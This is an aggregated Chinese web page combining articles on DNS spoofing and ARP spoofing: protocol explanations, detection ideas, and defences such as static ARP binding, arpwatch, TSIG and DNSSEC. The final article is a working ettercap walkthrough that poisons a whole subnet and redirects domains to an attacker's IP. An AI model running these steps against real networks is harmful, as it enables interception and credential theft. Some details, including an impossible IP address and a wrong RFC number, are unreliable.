61阅读

dns欺骗攻击-DNS欺骗攻击及其防护

发布时间:2018-02-06 所属栏目:系统攻防

一 : DNS欺骗攻击及其防护

DNS欺骗攻击及其防护

域名系统(Domain Name System,DNS)是一个将Domain Name和IP Address进行互相映射的Distributed Database.DNS是网络应用的基础设施,它的安全性对于互联网的安全有着举足轻重的影响。(www.61k.com]但是由于DNS Protocol在自身设计方面存在缺陷,安全保护和认证机制不健全,造成DNS自身存在较多安全隐患,导致其很容易遭受攻击。很多专家就DNS Protocol的安全缺陷提出了很多技术解决方案。例如IETF提出的域名系统安全协议(Domain Name System Security,DNSSEC),其目标就在于解决这些安全隐患。这个Protocol增加了安全认证项目,增强了Protocol自身的安全功能。但是新增加的安全机制需要占用更多的系统和网络资源,同时要升级Database和System Manggament Software,这些基于DNSSEC协议的软件还不成熟,距离普及应用还有较长时间。目前,常见的措施是定期升级DNS软件和加强相关的安全配置,禁用不安全的端口等。本文对以侦听为基础的DNS ID欺骗(DNS ID spoofing)进行了探讨,并提出了相关的防护解决方案。

一、DNS SERVER的服务工作过程

DNS是一种实现Domain Name和IP Address之间转换的系统,它的工作原理就是在两者间进行相互映射,相当于起到翻译作用,所以称为域名解析系统。DNS System分为Server和Client两部分,Server的通用Port是53.当Client向Server发出解析请求时,Local DNS Server第一步查询自身的Database是否存在需要的内容,如果有则发送应答数据包并给出相应的结果;否则它将向上一层DNS Server查询。如此不断查询,最终直至找到相应的结果或者将查询失败的信息反馈给客户机。如果Local DNS Server查到信息,则先将其保存在本机的高速缓存中,然后再向客户发出应答。日常我们上网是通过Browser方式来申请从Domain Name到IP Address的解析,即Client向DNS Server提交域名翻译申请,希望得到对应的IP Address.这里以笔者所在院校为例,说明DNS的工作原理。

例如Client的Address为10.252.2.16,学校DNS Server为218.30.19.40,从此客户机来访问西安财经学院网站。在地址栏键入学校网站的www.xaufe.edu.cn,通过DNS Server查找其对应的IP Address.这个申请从10.252.2.16的一个随机PORT发送出去,由218.30.19.40的53绑定端口接收到此申请并进行翻译,首先在218.30.19.40的高速缓存中查找www.xaufe.edu.cn的IP Address,若存在对应的映射关系,就直接将IP Address发送给客户机,若缓存中没有,则218.30.19.40会向上层DNS SERVER查询,最后将查询到的结果先发送到218.30.19.40,最后由218.30.19.40将西安财经学院的IP Address(281.195.32.1)返回给Client 10.252.2.16.这样10.252.2.16就可以和西安财经学院站点建立连接并访问了。

二、DNS欺骗攻击原理

2.1 欺骗原理

Client的DNS查询请求和DNS Server的应答数据包是依靠DNS报文的ID标识来相互对应的。在进行域名解析时,Client首先用特定的ID号向DNS Server发送域名解析数据包,这个ID是随机产生的。DNS Server找到结果后使用此ID给Client发送应答数据包。Client接收到应答包后,将接收到的ID与请求包的ID对比,如果相同则说明接收到的数据包是自己所需要的,如果不同就丢弃此应答包。根据攻击者的查询和应答原理,可使用不同方法实现攻击,如:

(1)因为DNS Message仅使用一个简单的认证码来实施真实性验证,认证码是由Client程序产生并由DNS Server返回结果的,客户机只是使用这个认证码来辨别应答与申请查询是否匹配,这就使得针对ID认证码的攻击威胁成为可能。

dns欺骗攻击 DNS欺骗攻击及其防护

(2)在DNS Request Message中可以增加信息,这些信息可以与客户机所申请查询的内容没有必然联系,因此攻击者就能在Request Message中根据自己的目的增加某些虚假的信息,比如增加其它Domain Server的Domain Name及其IP Address.此时Client在受到攻击的Domain Server上的查询申请均被转向此前攻击者在Request Message中增加的虚假Domain Server,由此DNS欺骗得以产生并对网络构成威胁。[www.61k.com)

(3)当DNS Server接收到Domain Name和IP Address相互映射的数据时,就将其保存在本地的Cache中。若再有Client请求查询此Domain Name对应的IP Address,Domain Server就会从Cache中将映射信息回复给Client,而无需在Database中再次查询。如果黑客将DNS Request Message的存在周期设定较长时间,就可进行长期欺骗。

2.2 DNS欺骗攻击的方式

DNS欺骗技术常见的有内应攻击和序列号攻击两种。内应攻击即黑客在掌控一台DNS Server后,对其Domain Database内容进行更改,将虚假IP Address指定给特定的Domain Name,当Client请求查询这个特定域名的IP时,将得到伪造的IP.

序列号攻击是指伪装的DNS Server在真实的DNS Server之前向客户端发送应答数据报文,该报文中含有的序列号ID与客户端向真实的DNS Server发出请求数据包中含有的ID相同,因此客户端会接收该虚假报文,而丢弃晚到的真实报文,这样DNS ID序列号欺骗成功。客户机得到的虚假报文中提供的域名的IP是攻击者设定的IP,这个IP将把客户带到攻击者指定的站点。

2.3 DNS 序列号欺骗攻击原理

DNS 序列号(ID)欺骗以侦测ID和Port为基础。在Switch构建的网络中,攻击方首先向目标实施ARP欺骗。当Client、攻击者和DNS Server同在一个网络时,攻击流程如下:①攻击方向目标反复发送伪造的ARP Request Message,修改目标机的ARP 缓存内容,同时依靠IP续传使Data经过攻击方再流向目的地;攻击方用Sniffer软件侦测DNS请求包,获取ID序列号和Potr;②攻击方一旦获得ID和Potr,即刻向客户机发送虚假的DNS Request Message,Client接收后验证ID和Potr正确,认为接收了合法的DNS应答;而Client得到的IP可能被转向攻击方诱导的非法站点,从而使Client信息安全受到威胁;③Client再接收DNS Server的Request Message,因落后于虚假的DNS响应,故被Client丢弃。当Client访问攻击者指向的虚假IP时,一次DNS ID欺骗随即完成

三、DNS欺骗检测和防范思路

3.1 检测思路

发生DNS欺骗时,Client最少会接收到两个以上的应答数据报文,报文中都含有相同的ID序列号,一个是合法的,另一个是伪装的。据此特点,有以下两种检测办法:

扩展:dns欺骗攻击怎么办 / dns欺骗攻击怎么解决 / arp攻击 dns欺骗 断网

(1)被动监听检测。即监听、检测所有DNS的请求和应答报文。通常DNS Server对一个请求查询仅仅发送一个应答数据报文(即使一个域名和多个IP有映射关系,此时多个关系在一个报文中回答)。因此在限定的时间段内一个请求如果会收到两个或以上的响应数据报文,则被怀疑遭受了DNS欺骗。

dns欺骗攻击 DNS欺骗攻击及其防护

(2)主动试探检测。[www.61k.com]即主动发送验证包去检查是否有DNS欺骗存在。通常发送验证数据包接收不到应答,然而黑客为了在合法应答包抵达客户机之前就将欺骗信息发送给客户,所以不会对DNS Server的IP合法性校验,继续实施欺骗。若收到应答包,则说明受到了欺骗攻击。

3.2 防范思路

在侦测到网络中可能有DNS欺骗攻击后,防范措施有:①在客户端直接使用IP Address访问重要的站点,从而避免DNS欺骗; ②对DNS Server和Client的数据流进行加密,Server端可以使用SSH加密协议,Client端使用PGP软件实施数据加密。

对于常见的ID序列号欺骗攻击,采用专业软件在网络中进行监听检查,在较短时间内,客户端如果接收到两个以上的应答数据包,则说明可能存在DNS欺骗攻击,将后到的合法包发送到DNS Server并对DNS数据进行修改,这样下次查询申请时就会得到正确结果

四、DNS防护方案

4.1 进行IP地址和MAC地址的绑定

(1)预防ARP欺骗攻击。因为DNS攻击的欺骗行为要以ARP欺骗作为开端,所以如果能有效防范或避免ARP欺骗,也就使得DNS ID欺骗攻击无从下手。例如可以通过将Gateway Router 的Ip Address和MAC Address静态绑定在一起,就可以防范ARP攻击欺骗。

(2)DNS信息绑定。DNS欺骗攻击是利用变更或者伪装成DNS Server的IP Address,因此也可以使用MAC Address和IP Address静态绑定来防御DNS欺骗的发生。由于每个Network Card的MAC Address具有唯一性质,所以可以把DNS Server的MAC Address与其IP Address绑定,然后此绑定信息存储在客户机网卡的Eprom中。当客户机每次向DNS Server发出查询申请后,就会检测DNS Server响应的应答数据包中的MAC Address是否与Eprom存储器中的MAC Address相同,要是不同,则很有可能该网络中的DNS Server受到DNS欺骗攻击。这种方法有一定的不足,因为如果局域网内部的客户主机也保存了DNS Server的MAC Address,仍然可以利用MAC Address进行伪装欺骗攻击。

4.2 使用Digital Password进行辨别

在不同子网的文件数据传输中,为预防窃取或篡改信息事件的发生,可以使用任务数字签名(TSIG)技术即在主从Domain Name Server中使用相同的Password和数学模型算法,在数据通信过程中进行辨别和确认。因为有Password进行校验的机制,从而使主从Server的身份地位极难伪装,加强了Domain Name信息传递的安全性。

安全性和可靠性更好的Domain Name Service是使用域名系统的安全协议(Domain Name System

Security, DNSSEC)),用Digital Signature的方式对搜索中的信息源进行分辨,对DATA的完整性实施校验,DNSSEC的规范可参考RFC2605.因为在设立Domain时就会产生Password,同时要求上层的Domain Name也必须进行相关的Domain Password Signature,显然这种方法很复杂,所以InterNIC域名管理截至目前尚未使用。然而就技术层次上讲,DNSSEC应该是现今最完善的Domain Name设立和解析的办法,对防范Domain Name欺骗攻击等安全事件是非常有效的。

4.3 优化DNS SERVER的相关项目设置

dns欺骗攻击 DNS欺骗攻击及其防护

对于DNS Server的优化可以使得DNS的安全性达到较高的标准,常见的工作有以下几种:①对不同的子网使用物理上分开的Domain Name Server,从而获得DNS功能的冗余;②将外部和内部Domain Name Server从物理上分离开并使用Forwarders转发器。(www.61k.com)外部Domain Name Server可以进行任何客户机的申请查询,但Forwarders则不能,Forwarders被设置成只能接待内部客户机的申请查询;③采用技术措施限制DNS动态更新;④将区域传送(zone transfer)限制在授权设备上;⑤利用事务签名对区域传送和区域更新进行数字签名;⑥隐藏服务器上的Bind版本;⑦删除运行在DNS服务器上的不必要服务,如FTP、telnet和Http;⑧在网络外围和DNS服务器上使用防火墙,将访问限制在那些DNS功能需要的端口上。

4.4 直接使用IP地址访问

对个别信息安全等级要求十分严格的WEB站点尽量不要使用DNS进行解析。由于DNS欺骗攻击中不少是针对窃取客户的私密数据而来的,而多数用户访问的站点并不涉及这些隐私信息,因此当访问具有严格保密信息的站点时,可以直接使用IP地址而无需通过DNS解析,这样所有的DNS欺骗攻击可能造成的危害就可以避免了。除此,应该做好DNS Server的安全配置项目和升级DNS软件,合理限定DNS Server进行响应的IP地址区间,关闭DNS Server的递归查询项目等。

4.5 对DNS数据包进行监测

在DNS欺骗攻击中,Client会接收到至少两个DNS的数据响应包,一个是真实的数据包,另一个是攻击数据包。欺骗攻击数据包为了抢在真实应答包之前回复给Client,它的信息数据结构与真实的数据包相比十分简单,只有应答域,而不包括授权域和附加域。因此,可以通过监测DNS响应包,遵循相应的原则和模型算法对这两种响应包进行分辨,从而避免虚假数据包的攻击。

五、结束语

本文对DNS解析及DNS欺骗的原理进行了阐述,对DNS欺骗攻击的方式、检测和防范的思路进行了探讨,最后给出了一些预防DNS欺骗的常见方法。相信这些方案的应用,可以大大提高DNS的安全性和可靠性。但网络的发展和应用日新月异,在实践中还要不断紧跟技术变化的步伐,不断学习和总结才能有效抵御各种新类型的DNS故障

扩展:dns欺骗攻击怎么办 / dns欺骗攻击怎么解决 / arp攻击 dns欺骗 断网

二 : 用简单CMD命令防御ARP攻击和DNS欺骗

点 开始——运行—输入CMD确定。

好了,我们现在来看下我们的arp列表。

输入arp -a



看到我的列表,里边就一条纪录,就是我的网关的IP地址和MAC地址

在被攻击的时候,攻击主机会发送一个ARP包,里边有真实的IP地址和伪造的MAC地址。

如果伪造的是网关的MAC地址后果就是我们这个网内所有的机器都上不了网

做法就是我们手动绑定一个正确的MAC地址

做法,在网络正常的情况下输入arp -d清空ARP列表



我们PING下网关(注意:每个局域网的网关可能都不一样。默认是192.168.1.1也有192.168.0.1等等)



ping通后再看下ARP表,又出来了。。这个就是真实的MAC地址。好,现在绑定

arp -s 192.168.0.1 00-1d-0f-6f-7b-2a



但这样我们电脑在关机后就没了。所以我们现在做个批处理并让电脑开机自动运行

新建立一个文本文件写入

arp -d

arp -s 192.168.0.1 00-1d-0f-6f-7b-2a 保存



点开始——设置——控制面板——文件夹选项,选择查看



把隐藏已知文件类型的扩展名的钩去掉

然后把刚才保存的文本文件改名叫arp.bat



然后确定



打开我的电脑——C——Documents and Settings——Administrator——开始」菜单——程序——启动。把arp.bat复制到这里边就可以了。。

C:\Documents and Settings\Administrator\「开始」菜单\程序\启动

三 : DNS欺骗攻击及其防护(1)

域名系统(Domain Name System,DNS)是一个将Domain Name和IP Address进行互相映射的Distributed Database。DNS是网络应用的基础设施,它的安全性对于互联网的安全有着举足轻重的影响。但是由于DNS Protocol在自身设计方面存在缺陷,安全保护和认证机制不健全,造成DNS自身存在较多安全隐患,导致其很容易遭受攻击。很多专家就DNS Protocol的安全缺陷提出了很多技术解决方案。例如IETF提出的域名系统安全协议(Domain Name System Security,DNSSEC),其目标就在于解决这些安全隐患。这个Protocol增加了安全认证项目,增强了Protocol自身的安全功能。但是新增加的安全机制需要占用更多的系统和网络资源,同时要升级Database和System Manggament Software,这些基于DNSSEC协议的软件还不成熟,距离普及应用还有较长时间。目前,常见的措施是定期升级DNS软件和加强相关的安全配置,禁用不安全的端口等。本文对以侦听为基础的DNS ID欺骗(DNS ID spoofing)进行了探讨,并提出了相关的防护解决方案。

一、DNS SERVER的服务工作过程

DNS是一种实现Domain Name和IP Address之间转换的系统,它的工作原理就是在两者间进行相互映射,相当于起到翻译作用,所以称为域名解析系统。DNS System分为Server和Client两部分,Server的通用Port是53。当Client向Server发出解析请求时,Local DNS Server第一步查询自身的Database是否存在需要的内容,如果有则发送应答数据包并给出相应的结果;否则它将向上一层DNS Server查询。如此不断查询,最终直至找到相应的结果或者将查询失败的信息反馈给客户机。如果Local DNS Server查到信息,则先将其保存在本机的高速缓存中,然后再向客户发出应答。日常我们上网是通过Browser方式来申请从Domain Name到IP Address的解析,即Client向DNS Server提交域名翻译申请,希望得到对应的IP Address。这里以笔者所在院校为例,说明DNS的工作原理。

例如Client的Address为10.252.2.16,学校DNS Server为218.30.19.40,从此客户机来访问西安财经学院网站。在地址栏键入学校网站的www.xaufe.edu.cn,通过DNS Server查找其对应的IP Address。这个申请从10.252.2.16的一个随机PORT发送出去,由218.30.19.40的53绑定端口接收到此申请并进行翻译,首先在218.30.19.40的高速缓存中查找www.xaufe.edu.cn的IP Address,若存在对应的映射关系,就直接将IP Address发送给客户机,若缓存中没有,则218.30.19.40会向上层DNS SERVER查询,最后将查询到的结果先发送到218.30.19.40,最后由218.30.19.40将西安财经学院的IP Address(281.195.32.1)返回给Client 10.252.2.16。这样10.252.2.16就可以和西安财经学院站点建立连接并访问了。

DNS欺骗攻击及其防护(1)_dns欺骗攻击

二、DNS欺骗攻击原理

2.1 欺骗原理

Client的DNS查询请求和DNS Server的应答数据包是依靠DNS报文的ID标识来相互对应的。在进行域名解析时,Client首先用特定的ID号向DNS Server发送域名解析数据包,这个ID是随机产生的。DNS Server找到结果后使用此ID给Client发送应答数据包。Client接收到应答包后,将接收到的ID与请求包的ID对比,如果相同则说明接收到的数据包是自己所需要的,如果不同就丢弃此应答包。根据攻击者的查询和应答原理,可使用不同方法实现攻击,如:

(1)因为DNS Message仅使用一个简单的认证码来实施真实性验证,认证码是由Client程序产生并由DNS Server返回结果的,客户机只是使用这个认证码来辨别应答与申请查询是否匹配,这就使得针对ID认证码的攻击威胁成为可能。

(2)在DNS Request Message中可以增加信息,这些信息可以与客户机所申请查询的内容没有必然联系,因此攻击者就能在Request Message中根据自己的目的增加某些虚假的信息,比如增加其它Domain Server的Domain Name及其IP Address。此时Client在受到攻击的Domain Server上的查询申请均被转向此前攻击者在Request Message中增加的虚假Domain Server,由此DNS欺骗得以产生并对网络构成威胁。

(3)当DNS Server接收到Domain Name和IP Address相互映射的数据时,就将其保存在本地的Cache中。若再有Client请求查询此Domain Name对应的IP Address,Domain Server就会从Cache中将映射信息回复给Client,而无需在Database中再次查询。如果黑客将DNS Request Message的存在周期设定较长时间,就可进行长期欺骗。

2.2 DNS欺骗攻击的方式

DNS欺骗技术常见的有内应攻击和序列号攻击两种。内应攻击即黑客在掌控一台DNS Server后,对其Domain Database内容进行更改,将虚假IP Address指定给特定的Domain Name,当Client请求查询这个特定域名的IP时,将得到伪造的IP。

序列号攻击是指伪装的DNS Server在真实的DNS Server之前向客户端发送应答数据报文,该报文中含有的序列号ID与客户端向真实的DNS Server发出请求数据包中含有的ID相同,因此客户端会接收该虚假报文,而丢弃晚到的真实报文,这样DNS ID序列号欺骗成功。客户机得到的虚假报文中提供的域名的IP是攻击者设定的IP,这个IP将把客户带到攻击者指定的站点。

2.3 DNS 序列号欺骗攻击原理

DNS 序列号(ID)欺骗以侦测ID和Port为基础。在Switch构建的网络中,攻击方首先向目标实施ARP欺骗。当Client、攻击者和DNS Server同在一个网络时,攻击流程如下:①攻击方向目标反复发送伪造的ARP Request Message,修改目标机的ARP 缓存内容,同时依靠IP续传使Data经过攻击方再流向目的地;攻击方用Sniffer软件侦测DNS请求包,获取ID序列号和Potr;②攻击方一旦获得ID和Potr,即刻向客户机发送虚假的DNS Request Message,Client接收后验证ID和Potr正确,认为接收了合法的DNS应答;而Client得到的IP可能被转向攻击方诱导的非法站点,从而使Client信息安全受到威胁;③Client再接收DNS Server的Request Message,因落后于虚假的DNS响应,故被Client丢弃。当Client访问攻击者指向的虚假IP时,一次DNS ID欺骗随即完成。

DNS欺骗攻击及其防护(1)_dns欺骗攻击

三、DNS欺骗检测和防范思路

3.1 检测思路

发生DNS欺骗时,Client最少会接收到两个以上的应答数据报文,报文中都含有相同的ID序列号,一个是合法的,另一个是伪装的。据此特点,有以下两种检测办法:

(1)被动监听检测。即监听、检测所有DNS的请求和应答报文。通常DNS Server对一个请求查询仅仅发送一个应答数据报文(即使一个域名和多个IP有映射关系,此时多个关系在一个报文中回答)。因此在限定的时间段内一个请求如果会收到两个或以上的响应数据报文,则被怀疑遭受了DNS欺骗。

(2)主动试探检测。即主动发送验证包去检查是否有DNS欺骗存在。通常发送验证数据包接收不到应答,然而黑客为了在合法应答包抵达客户机之前就将欺骗信息发送给客户,所以不会对DNS Server的IP合法性校验,继续实施欺骗。若收到应答包,则说明受到了欺骗攻击。

3.2 防范思路

在侦测到网络中可能有DNS欺骗攻击后,防范措施有:①在客户端直接使用IP Address访问重要的站点,从而避免DNS欺骗; ②对DNS Server和Client的数据流进行加密,Server端可以使用SSH加密协议,Client端使用PGP软件实施数据加密。

对于常见的ID序列号欺骗攻击,采用专业软件在网络中进行监听检查,在较短时间内,客户端如果接收到两个以上的应答数据包,则说明可能存在DNS欺骗攻击,将后到的合法包发送到DNS Server并对DNS数据进行修改,这样下次查询申请时就会得到正确结果。

DNS欺骗攻击及其防护(1)_dns欺骗攻击

四、DNS防护方案

4.1 进行IP地址和MAC地址的绑定

(1)预防ARP欺骗攻击。因为DNS攻击的欺骗行为要以ARP欺骗作为开端,所以如果能有效防范或避免ARP欺骗,也就使得DNS ID欺骗攻击无从下手。例如可以通过将Gateway Router 的Ip Address和MAC Address静态绑定在一起,就可以防范ARP攻击欺骗。

(2)DNS信息绑定。DNS欺骗攻击是利用变更或者伪装成DNS Server的IP Address,因此也可以使用MAC Address和IP Address静态绑定来防御DNS欺骗的发生。由于每个Network Card的MAC Address具有唯一性质,所以可以把DNS Server的MAC Address与其IP Address绑定,然后此绑定信息存储在客户机网卡的Eprom中。当客户机每次向DNS Server发出查询申请后,就会检测DNS Server响应的应答数据包中的MAC Address是否与Eprom存储器中的MAC Address相同,要是不同,则很有可能该网络中的DNS Server受到DNS欺骗攻击。这种方法有一定的不足,因为如果局域网内部的客户主机也保存了DNS Server的MAC Address,仍然可以利用MAC Address进行伪装欺骗攻击。

4.2 使用Digital Password进行辨别

在不同子网的文件数据传输中,为预防窃取或篡改信息事件的发生,可以使用任务数字签名(TSIG)技术即在主从Domain Name Server中使用相同的Password和数学模型算法,在数据通信过程中进行辨别和确认。因为有Password进行校验的机制,从而使主从Server的身份地位极难伪装,加强了Domain Name信息传递的安全性。

安全性和可靠性更好的Domain Name Service是使用域名系统的安全协议(Domain Name System Security, DNSSEC)),用Digital Signature的方式对搜索中的信息源进行分辨,对DATA的完整性实施校验,DNSSEC的规范可参考RFC2605。因为在设立Domain时就会产生Password,同时要求上层的Domain Name也必须进行相关的Domain Password Signature,显然这种方法很复杂,所以InterNIC域名管理截至目前尚未使用。然而就技术层次上讲,DNSSEC应该是现今最完善的Domain Name设立和解析的办法,对防范Domain Name欺骗攻击等安全事件是非常有效的。

4.3 优化DNS SERVER的相关项目设置

对于DNS Server的优化可以使得DNS的安全性达到较高的标准,常见的工作有以下几种:①对不同的子网使用物理上分开的Domain Name Server,从而获得DNS功能的冗余;②将外部和内部Domain Name Server从物理上分离开并使用Forwarders转发器。外部Domain Name Server可以进行任何客户机的申请查询,但Forwarders则不能,Forwarders被设置成只能接待内部客户机的申请查询;③采用技术措施限制DNS动态更新;④将区域传送(zone transfer)限制在授权设备上;⑤利用事务签名对区域传送和区域更新进行数字签名;⑥隐藏服务器上的Bind版本;⑦删除运行在DNS服务器上的不必要服务,如FTP、telnet和Http;⑧在网络外围和DNS服务器上使用防火墙,将访问限制在那些DNS功能需要的端口上。

4.4 直接使用IP地址访问

对个别信息安全等级要求十分严格的WEB站点尽量不要使用DNS进行解析。由于DNS欺骗攻击中不少是针对窃取客户的私密数据而来的,而多数用户访问的站点并不涉及这些隐私信息,因此当访问具有严格保密信息的站点时,可以直接使用IP地址而无需通过DNS解析,这样所有的DNS欺骗攻击可能造成的危害就可以避免了。除此,应该做好DNS Server的安全配置项目和升级DNS软件,合理限定DNS Server进行响应的IP地址区间,关闭DNS Server的递归查询项目等。

4.5 对DNS数据包进行监测

在DNS欺骗攻击中,Client会接收到至少两个DNS的数据响应包,一个是真实的数据包,另一个是攻击数据包。欺骗攻击数据包为了抢在真实应答包之前回复给Client,它的信息数据结构与真实的数据包相比十分简单,只有应答域,而不包括授权域和附加域。因此,可以通过监测DNS响应包,遵循相应的原则和模型算法对这两种响应包进行分辨,从而避免虚假数据包的攻击。

五、结束语

本文对DNS解析及DNS欺骗的原理进行了阐述,对DNS欺骗攻击的方式、检测和防范的思路进行了探讨,最后给出了一些预防DNS欺骗的常见方法。相信这些方案的应用,可以大大提高DNS的安全性和可靠性。但网络的发展和应用日新月异,在实践中还要不断紧跟技术变化的步伐,不断学习和总结才能有效抵御各种新类型的DNS故障。

四 : 中间人攻击-DNS欺骗

在前面的文章(中间人攻击ARP毒化)中,我们讨论了黑客危险的攻击和实用的ARP中毒原理。在本文中,我将首先探讨检测和防止ARP中毒(或ARP欺骗)攻击,然后我将回顾其他的中间人攻击-DNS欺骗。
ARP缓存攻击是一项非常危险的攻击,重要的是在用户中创建安全的意识和分析有效的工具和策略。如果你操作的是小型网络,那么就很容易维护ARP。但是在大型的网络,维护ARP是很困难和费事的。在前一篇文章的最后我们讨论了工具和技术,能够被用来检测ARP缓存中毒攻击。让我们来回顾下每一步:
静态ARP(www.61k.com)
你可以在网络ARP表中手动的添加一些信息,一旦信息插入,你就有了静态ARP映射。输入数据的过程也是非常简单,在你的终端/CMS中,只需输入:“arp -s”
例子:
你现在的ARP表:
root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
让我们假设一下,我想添加一个新的主机在我的ARP缓存表中,我输入如下命令:
arp -s IP MAC
root@bt:~# arp -s 192.168.1.2 00:50:FC:A8:36:F5
root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.2 ether 00:50:fc:a8:36:f5 CM eth0
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
root@bt:~#
需要注意的是,手动添加ARP表只适用于当前的会话。当你重新启动计算机,将更新表。如果你想要使用这种方法,那么你可以创建一个批处理文件/BASH文件,并将它们添加到启动项。
ARPwatch
(ps:监听ARP记录)
这是一个不错的实用程序,已经被用来监测ARP网络,它能够探测并记录发生更改的网络,同时还发送邮箱详细说明各自的变化。安装过程也是非常简单的。
对于Ubuntu用户:
# apt-get install arpwatch
root@bt:~# arpwatch -h
Version 2.1a15
usage: arpwatch [-dN] [-f datafile] [-i interface] [-n net[/width]] [-r file] [-s sendmail_path] [-p] [-a] [-m addr] [-u username] [-R seconds ] [-Q] [-z ignorenet/ignoremask]
如果需要快速检测就用下面这个命令:
# arpwatch -i interface
root@bt:~# arpwatch -i eth0
检查程序是否在运行:
root@bt:~# ps -ef | grep arpwatch
arpwatch 1041 1 0 14:05 ? 00:00:00 /usr/sbin/arpwatch -u arpwatch -N -p
root 2191 2165 0 14:54 pts/0 00:00:00 grep –color=auto arpwatch
接下来的步骤就是ARPwatch记录日志,这也非常简单,你只需要做得是确定目录,然后读取文件。
oot@bt:~# cd /var/lib/arpwatch
root@bt:/var/lib/arpwatch# ls
arp.dat arp.dat-
root@bt:/var/lib/arpwatch# cat arp.dat
00:50:fc:a8:36:f5 192.168.1.2 1337437776 eth0
00:27:0e:21:a6:1e 192.168.1.5 1337437923 eth0
所以如果你是网络管理员,那么你应该实施一些策略来监视ARP表并且保护主机免受ARP中毒攻击。
当然我们要注意,中间人攻击并不局限于一个ARP欺骗攻击。正如前面提到的,还有许多其他的技术能够执行一个中间人攻击。一个主要的例子就是DNS欺骗,我们将分析它。
DNS欺骗攻击
DNS欺骗攻击是一种非常危险的中间人攻击,它容易被攻击者利用并且窃取用户的机密信息。虽然这篇文章可以提供一些新的见解,但重要的是DNS欺骗是一个一般概念,有无数种方法可以实现一个DNS欺骗攻击。
在一个DNS欺骗攻击中,攻击者可以利用一个漏洞来伪造网络流量。因此,要理解DNS欺骗攻击,必须理解DNS是怎样工作的。
DNS(域名系统)在互联网中是一个非常重要的协议。它属于TCP/IP,是一个分层结构的分布式模块,它包含域名的相关信息。它负责在网络上映射域名到他们各自的IP上。DNS定位主机/服务器通过查看友好域名,使用域名系统,DNS将域名和IP地址相互映射 。这些设备(路由器、服务器等)连接到你的电脑不能理解一些友好的名称 (infosecinstitute.com),他们只了解一个IP地址,而DNS负责翻译它。
让我们来看看下面这个图来理解主机和本地DNS服务器的正常通信。
dns欺骗攻击 中间人攻击-DNS欺骗
DNS服务器包含着一个主数据库,其中包括信息的IP地址,因为这涉及到相应的域名。所以在这些正常的通信中,一个主机发送请求到服务器,之后服务器响应正确的信息。如果DNS没有信息传入的请求,它将发送请求到外部DNS服务器来获取正确的响应。
那么攻击者如何使用中间人攻击来实施DNS欺骗呢?下图说明了答案:
dns欺骗攻击 中间人攻击-DNS欺骗
使用DNS欺骗中间人攻击,攻击者将截取会话,然后转移到一个假网站的会话。假如:用户希望访问google.com,并且谷歌的IP地址为173.194.35.37,攻击者就可以使用DNS欺骗技术拦截会话,并将用户重定向到假冒的网站,假网站IP可以为任意IP。
演示DNS欺骗攻击
在本系列的以前文章中我发现ettercap是一个很好用来演示ARP欺骗攻击的工具。当然ettercap包含一个DNS插件,非常容易使用哦。
dns欺骗攻击 中间人攻击-DNS欺骗
打开ettercap GUI,点击”sniff”,之后再”unified sniffing”选择自己的网络。单机hosts,之后扫描整个子网存活的主机。在执行时,我们来编辑etter.dns文件,以确保它执行正确的DNS欺骗攻击:
dns欺骗攻击 中间人攻击-DNS欺骗
microsoft sucks
# redirect it to www.linux.org
#
freebuf.com A 192.182.196.56
*.freebuf.com A 192.182.196.56
www.2cto.comPTR 192.182.196.56 # Wildcards in PTR are not allowed
默认情况下,ettercap是重定向到另一个网站的IP地址,我们来改变它:
freebuf.com A 192.168.1.12
*.freebuf.com A 192.168.1.12
www.2cto.com
PTR 192.168.1.12 # Wildcards in PTR are not allowed
192.168.1.12是攻击者的IP地址。确保Web服务器运行在攻击者的机器,一定要启用IP转发。 在受害者的电脑查看:
C:\>ping www.2cto.com
Pinging microsoft.com [65.55.58.201] with 32 bytes of data:
Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
>Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
Ping statistics for 65.55.58.20
Packets: Sent = 4, Received = 4, Lost = 0 <0% loss>,
在ettercap GUI上,选择受害者主机(目标1)和默认路由器(网关,目标2)。
dns欺骗攻击 中间人攻击-DNS欺骗


点击Mitm—ARP poisoning,选择”Sniff remote connerctions.”之后点击 “start”-”start sniffing”
dns欺骗攻击 中间人攻击-DNS欺骗
点击选择”plugins”&ndash;”manage the plugins” 在其中选择dns_spoof。这将会启用dns_spoof插件来执行DNS欺骗中间人攻击。现在在受害者电脑的DNS欺骗攻击是:
dns欺骗攻击 中间人攻击-DNS欺骗
你可以看到,在DNS已经成功欺骗时,所有会话被转移到了攻击者的主机,而不是真正的微软服务器。
这个演示是基于GUI的ettercap,你也可以使用命令行版本。让我们考虑一个快速演示DNS欺骗的命令行接口。
选择etter。查看Dns使用简单的命令:
root@bt:~# locate etter.dns
/usr/local/share/videojak/etter.dns
/usr/share/ettercap/etter.dns
root@bt:~#
现在你可以使用你喜欢的文本编辑器来编辑这个文件。你可以使用文本编辑器nano或者其他任何你想要的
root@bt:~# gedit /usr/share/ettercap/etter.dns
root@bt:~# nano /usr/share/ettercap/etter.dns
当你完成了保存这个文件,现在做好了准备。我们需要做得就是通过ettercap启用DNS欺骗攻击:
root@bt:~# ettercap -T -q -P dns_spoof -M arp // //
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> 00:1C:23:42:8D:04 192.168.1.12 255.255.255.0
SSL dissection needs a valid &#39;redir_command_on&#39; script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
4 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit &#39;h&#39; for inline help
Activating dns_spoof plugin...
让我们来拆开命令结构,来分析DNS欺骗攻击所用到的命令:
-P 使用插件,这里我们使用的是dns_spoof
-T 使用基于文本界面
-q 启动安静模式(不回显的意思)
-M 启动ARP欺骗攻击
// // 代表欺骗整个子网网络
此外,我们可以综合使用这些命令。例如,你想要欺骗一个特定的受害主机,那么你可以使用受害者的IP来执行DNS欺骗攻击。
root@bt:~# ettercap -T -q -P dns_spoof -M arp // //
